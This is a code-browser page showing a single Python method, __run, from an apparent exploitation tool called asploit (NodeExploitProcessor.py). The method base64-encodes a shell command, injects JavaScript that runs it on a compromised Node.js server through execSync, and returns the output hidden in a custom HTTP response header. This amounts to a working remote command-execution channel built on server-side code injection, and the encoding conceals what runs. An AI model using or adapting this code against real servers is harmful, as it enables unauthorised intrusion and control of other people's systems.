MCPcopy Create free account
hub / github.com/Geeoon/asploit / __run

Method __run

src/NodeExploitProcessor.py:65–77  ·  view source on GitHub ↗
(self, command: str)

Source from the content-addressed store, hash-verified

63 @throw CommandException if there is a connection error.
64 """
65 def __run(self, command: str): # relies on execSync being imported
66 encoded = base64.b64encode(command.encode()).decode()
67 out = self.__eval(f"try {{"
68 f"let out = execSync(Buffer.from('{encoded}',"
69 f"'base64').toString('ascii'),"
70 f"{{cwd: '{self.directory}'}});"
71 f"r.setHeader('{self.header}',"
72 f"Buffer.from(out).toString('base64'));}}"
73 f"catch (e){{"
74 f"r.setHeader('{self.header}',"
75 f"'RXJyb3IgcnVubmluZyBjb21tYW5kLgo=');}}"
76 f"r.end();")
77 return base64.b64decode(out).decode()
78 """
79 @brief Run commands to be evaluated as JS code.
80 @param command the command to be ran as a string

Callers 1

_Base__runMethod · 0.95

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected